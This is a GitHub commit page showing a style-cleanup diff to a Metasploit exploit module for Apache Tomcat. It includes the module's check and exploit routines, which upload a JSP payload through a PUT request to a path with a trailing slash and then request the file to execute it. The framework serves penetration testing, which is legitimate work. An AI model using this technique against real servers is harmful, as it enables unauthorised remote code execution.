Skip to content

Commit cfaa34d

Browse files
committed
more style cleanup for tomcat_jsp_upload_bypass
1 parent 978ede3 commit cfaa34d

File tree

1 file changed

+10
-12
lines changed

1 file changed

+10
-12
lines changed

modules/exploits/multi/http/tomcat_jsp_upload_bypass.rb

Lines changed: 10 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -59,21 +59,21 @@ def check
5959
testurl = Rex::Text::rand_text_alpha(10)
6060
testcontent = Rex::Text::rand_text_alpha(10)
6161

62-
res = send_request_cgi({
63-
'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"),
62+
send_request_cgi({
63+
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
6464
'method' => 'PUT',
6565
'data' => "<% out.println(\"#{testcontent}\");%>"
6666
})
6767

6868
res1 = send_request_cgi({
69-
'uri' => normalize_uri(target_uri,"#{testurl}.jsp"),
69+
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
7070
'method' => 'GET'
7171
})
7272

7373
if res1 && res1.body.include?(testcontent)
74-
res2 = send_request_cgi(
74+
send_request_cgi(
7575
opts = {
76-
'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"),
76+
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
7777
'method' => 'DELETE'
7878
},
7979
timeout = 1
@@ -85,18 +85,17 @@ def check
8585
end
8686

8787
def exploit
88-
8988
print_status("Uploading payload...")
9089
testurl = Rex::Text::rand_text_alpha(10)
9190

9291
res = send_request_cgi({
93-
'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"),
92+
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
9493
'method' => 'PUT',
95-
'data' => "#{payload.encoded}"
94+
'data' => payload.encoded
9695
})
9796
if res && res.code == 201
9897
res1 = send_request_cgi({
99-
'uri' => normalize_uri(target_uri,"#{testurl}.jsp"),
98+
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
10099
'method' => 'GET'
101100
})
102101
if res1 && res1.code == 200
@@ -105,9 +104,8 @@ def exploit
105104
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
106105
end
107106
else
108-
fail_with(Failure::Unknown, "Failed to upload the payload")
107+
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
109108
end
110-
111109
end
112-
end
113110

111+
end

0 commit comments

Comments
 (0)